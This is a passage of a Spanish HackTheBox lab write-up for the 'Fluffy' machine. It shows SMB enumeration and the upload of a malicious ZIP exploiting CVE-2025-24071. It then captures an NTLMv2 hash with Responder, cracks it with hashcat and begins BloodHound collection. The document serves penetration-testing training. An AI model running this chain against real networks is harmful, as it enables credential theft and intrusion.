&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ssl-date: &lt;span style="color:#ae81ff"&gt;2026&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;01&lt;/span&gt;-19T23&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;12&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;25&lt;/span&gt;+&lt;span style="color:#ae81ff"&gt;00&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;00&lt;/span&gt;; +7h00m03s from scanner time.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| ssl-cert&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Subject&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; commonName=DC01.fluffy.htb
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Subject Alternative Name&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; othername&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1.3&lt;/span&gt;.6.1.4.1.311.25.&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&amp;lt;unsupported&amp;gt;, DNS&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;DC01.fluffy.htb
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Issuer&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; commonName=fluffy-DC01-CA/domainComponent=fluffy
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Public Key type&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; rsa
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Public Key bits&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2048&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Signature Algorithm&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; sha256WithRSAEncryption
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Not valid before&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2025&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;04&lt;/span&gt;-17T16&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;04&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;17&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Not valid after&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2026&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;04&lt;/span&gt;-17T16&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;04&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;17&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| -----BEGIN CERTIFICATE-----
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| MIIGJzCCBQ+gAwIBAgITUAAAAAJKRwEaLBjVaAAAAAAAAjANBgkqhkiG9w0BAQsF
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| ...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_-----END CERTIFICATE-----
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;3268&lt;/span&gt;/tcp open ldap syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows Active Directory LDAP (Domain&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; fluffy.htb0., Site&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Default-First-Site-Name)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;3269&lt;/span&gt;/tcp open ssl/ldap syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows Active Directory LDAP (Domain&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; fluffy.htb0., Site&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Default-First-Site-Name)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;5985&lt;/span&gt;/tcp open http syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft HTTPAPI httpd &lt;span style="color:#ae81ff"&gt;2.0&lt;/span&gt; (SSDP/UPnP)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-title: Not Found
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-server-header: Microsoft-HTTPAPI/&lt;span style="color:#ae81ff"&gt;2.0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;9389&lt;/span&gt;/tcp open mc-nmf syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; .NET Message Framing
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;49667&lt;/span&gt;/tcp open msrpc syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;49691&lt;/span&gt;/tcp open ncacn_http syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows RPC over HTTP &lt;span style="color:#ae81ff"&gt;1.0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;49692&lt;/span&gt;/tcp open msrpc syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;49699&lt;/span&gt;/tcp open msrpc syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;49709&lt;/span&gt;/tcp open msrpc syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;49723&lt;/span&gt;/tcp open msrpc syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="enumeración-smb"&gt;Enumeración SMB&lt;/h3&gt;
&lt;p&gt;Confirmo que es una máquina de AD y tiro por SMB.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;┌──&lt;/span&gt;(root&lt;span style="color:#960050;background-color:#1e0010"&gt;㉿&lt;/span&gt;kali)-[/home/&lt;span style="color:#960050;background-color:#1e0010"&gt;…&lt;/span&gt;/Desktop/HTB/Fluffy/loot]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;└─&lt;/span&gt;&lt;span style="color:#75715e"&gt;# nxc smb 10.129.78.23 -u j.fleischman -p &amp;#39;J0elTHEM4n1990!&amp;#39; --shares&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SMB &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.78.23 &lt;span style="color:#ae81ff"&gt;445&lt;/span&gt; DC01 [*] Windows &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; / Server &lt;span style="color:#ae81ff"&gt;2019&lt;/span&gt; Build &lt;span style="color:#ae81ff"&gt;17763&lt;/span&gt; (name&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;DC01) (domain&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;fluffy.htb) (signing&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;True) (SMBv1&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;False)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SMB &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.78.23 &lt;span style="color:#ae81ff"&gt;445&lt;/span&gt; DC01 [+] fluffy.htb\j.fleischman&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;J0elTHEM4n1990!
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SMB &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.78.23 &lt;span style="color:#ae81ff"&gt;445&lt;/span&gt; DC01 [*] Enumerated shares
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SMB &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.78.23 &lt;span style="color:#ae81ff"&gt;445&lt;/span&gt; DC01 Share Permissions Remark
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SMB &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.78.23 &lt;span style="color:#ae81ff"&gt;445&lt;/span&gt; DC01 ----- ----------- ------
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SMB &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.78.23 &lt;span style="color:#ae81ff"&gt;445&lt;/span&gt; DC01 ADMIN$ Remote Admin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SMB &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.78.23 &lt;span style="color:#ae81ff"&gt;445&lt;/span&gt; DC01 C$ &lt;span style="color:#66d9ef"&gt;Default&lt;/span&gt; share
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SMB &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.78.23 &lt;span style="color:#ae81ff"&gt;445&lt;/span&gt; DC01 IPC$ READ Remote IPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SMB &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.78.23 &lt;span style="color:#ae81ff"&gt;445&lt;/span&gt; DC01 IT READ,WRITE
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SMB &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.78.23 &lt;span style="color:#ae81ff"&gt;445&lt;/span&gt; DC01 NETLOGON READ Logon server share
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SMB &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.78.23 &lt;span style="color:#ae81ff"&gt;445&lt;/span&gt; DC01 SYSVOL READ Logon server share
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Veo que el share &lt;strong&gt;IT&lt;/strong&gt; tiene permisos de escritura, así que entro a mirar contenido:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;smbclient &lt;span style="color:#e6db74"&gt;&amp;#39;//10.129.78.23/IT&amp;#39;&lt;/span&gt; -U fluffy.htb/j.fleischman&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;J0elTHEM4n1990!
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;Try&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;help&amp;#34;&lt;/span&gt; to get a list of possible commands.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;smb&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; \&amp;gt; DIR
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; . D &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; Tue Jan &lt;span style="color:#ae81ff"&gt;20&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;00&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;12&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;04&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2026&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; .. D &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; Tue Jan &lt;span style="color:#ae81ff"&gt;20&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;00&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;12&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;04&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2026&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Everything-&lt;span style="color:#ae81ff"&gt;1.4&lt;/span&gt;.1.1026.x64 D &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; Fri Apr &lt;span style="color:#ae81ff"&gt;18&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;17&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;08&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;44&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2025&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Everything-&lt;span style="color:#ae81ff"&gt;1.4&lt;/span&gt;.1.1026.x64.zip A &lt;span style="color:#ae81ff"&gt;1827464&lt;/span&gt; Fri Apr &lt;span style="color:#ae81ff"&gt;18&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;17&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;04&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;05&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2025&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; KeePass-&lt;span style="color:#ae81ff"&gt;2.58&lt;/span&gt; D &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; Fri Apr &lt;span style="color:#ae81ff"&gt;18&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;17&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;08&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;38&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2025&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; KeePass-&lt;span style="color:#ae81ff"&gt;2.58&lt;/span&gt;.zip A &lt;span style="color:#ae81ff"&gt;3225346&lt;/span&gt; Fri Apr &lt;span style="color:#ae81ff"&gt;18&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;17&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;03&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;17&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2025&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Upgrade_Notice.pdf A &lt;span style="color:#ae81ff"&gt;169963&lt;/span&gt; Sat May &lt;span style="color:#ae81ff"&gt;17&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;16&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;31&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;07&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2025&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;5842943&lt;/span&gt; blocks of size &lt;span style="color:#ae81ff"&gt;4096&lt;/span&gt;. &lt;span style="color:#ae81ff"&gt;1530895&lt;/span&gt; blocks available
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="pdf-con-cves"&gt;PDF con CVEs&lt;/h3&gt;
&lt;p&gt;En el share aparece un PDF con vulnerabilidades. Me lo descargo y veo lo siguiente:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ed888fa-f353-803d-8d6a-e781d2a1b179.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;CVE ID
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;CVE-&lt;span style="color:#ae81ff"&gt;2025&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;24996&lt;/span&gt;--Critical
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;CVE-&lt;span style="color:#ae81ff"&gt;2025&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;24071&lt;/span&gt;--Critical
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;CVE-&lt;span style="color:#ae81ff"&gt;2025&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;46785&lt;/span&gt;--High
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;CVE-&lt;span style="color:#ae81ff"&gt;2025&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;29968&lt;/span&gt;--High
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;CVE-&lt;span style="color:#ae81ff"&gt;2025&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;21193&lt;/span&gt;--Medium
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;CVE-&lt;span style="color:#ae81ff"&gt;2025&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;3445&lt;/span&gt;--Low
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;La que más me interesa aquí es &lt;strong&gt;CVE-2025-24071&lt;/strong&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Windows Explorer automatically initiates an SMB authentication request when a
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;library&lt;span style="color:#f92672"&gt;-&lt;/span&gt;ms file &lt;span style="color:#f92672"&gt;is&lt;/span&gt; extracted &lt;span style="color:#f92672"&gt;from&lt;/span&gt; a ZIP archive&lt;span style="color:#f92672"&gt;.&lt;/span&gt; This causes NTLM credentials
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;(&lt;span style="color:#f92672"&gt;in&lt;/span&gt; hashed format) to be leaked to a remote SMB server controlled by the attacker&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;No user interaction &lt;span style="color:#f92672"&gt;is&lt;/span&gt; required beyond extraction&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Uso este exploit:&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.exploit-db.com/exploits/52310"&gt;https://www.exploit-db.com/exploits/52310&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ed888fa-f353-8028-bae0-ebf957de58ee.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="captura-de-hash-ntlmv2-con-responder"&gt;Captura de hash NTLMv2 con Responder&lt;/h3&gt;
&lt;p&gt;Genero el ZIP malicioso y lo subo al share &lt;strong&gt;IT&lt;/strong&gt; (tengo escritura). En paralelo levanto Responder para capturar la autenticación.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ed888fa-f353-8014-a35e-d1510aafd26e.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;smbclient &lt;span style="color:#e6db74"&gt;&amp;#39;//10.129.78.23/IT&amp;#39;&lt;/span&gt; -U fluffy.htb/j.fleischman&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;J0elTHEM4n1990!
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;Try&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;help&amp;#34;&lt;/span&gt; to get a list of possible commands.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;smb&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; \&amp;gt; put malicious.zip
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;putting file malicious.zip as \malicious.zip (&lt;span style="color:#ae81ff"&gt;2.0&lt;/span&gt; kb/s) (average &lt;span style="color:#ae81ff"&gt;2.0&lt;/span&gt; kb/s)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Espero unos segundos y recibo el hash:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[&lt;span style="color:#66d9ef"&gt;SMB&lt;/span&gt;] NTLMv2-SSP Client &lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.78.23
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[&lt;span style="color:#66d9ef"&gt;SMB&lt;/span&gt;] NTLMv2-SSP Username &lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; FLUFFY\p.agila
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[&lt;span style="color:#66d9ef"&gt;SMB&lt;/span&gt;] NTLMv2-SSP Hash &lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; p.agila::FLUFFY&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;f74081931ace9d2a&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;B7AE54D953F98A9BAA7AF1FFA9A66B7E&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;0101000000000000802CFE656989DC01C70A4C638403E30B0000000002000800370039005800330001001E00570049004E002D003200500045004D0043004A00420048004F003600570004003400570049004E002D003200500045004D0043004A00420048004F00360057002E0037003900580033002E004C004F00430041004C000300140037003900580033002E004C004F00430041004C000500140037003900580033002E004C004F00430041004C0007000800802CFE656989DC01060004000200000008003000300000000000000001000000002000009A1D51B76B59C74DF9A070F2C83658F60E9885997FEED0398370D04783BA2D0C0A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310035002E00340034000000000000000000
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Crackeo con hashcat (modo &lt;code&gt;-m 5600&lt;/code&gt;) y obtengo la contraseña:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;P.AGILA::FLUFFY&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;f74081931ace9d2a&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;b7ae54d953f98a9baa7af1ffa9a66b7e&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;0101000000000000802cfe656989dc01c70a4c638403e30b0000000002000800370039005800330001001e00570049004e002d003200500045004d0043004a00420048004f003600570004003400570049004e002d003200500045004d0043004a00420048004f00360057002e0037003900580033002e004c004f00430041004c000300140037003900580033002e004c004f00430041004c000500140037003900580033002e004c004f00430041004c0007000800802cfe656989dc01060004000200000008003000300000000000000001000000002000009a1d51b76b59c74df9a070f2c83658f60e9885997feed0398370d04783ba2d0c0a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310035002e00340034000000000000000000&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;prometheusx-&lt;span style="color:#ae81ff"&gt;303&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;p.agila:prometheusx-303&lt;/p&gt;
&lt;h3 id="bloodhound-path-de-escalada"&gt;BloodHound: path de escalada&lt;/h3&gt;
&lt;p&gt;No encuentro demasiado enumerando directamente con este usuario, así que tiro de &lt;strong&gt;rusthound-ce&lt;/strong&gt; y analizo con BloodHound.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;rusthound-ce -u p.agila -p &lt;span style="color:#e6db74"&gt;&amp;#39;prometheusx-303&amp;#39;&lt;/span&gt; --domain fluffy.htb
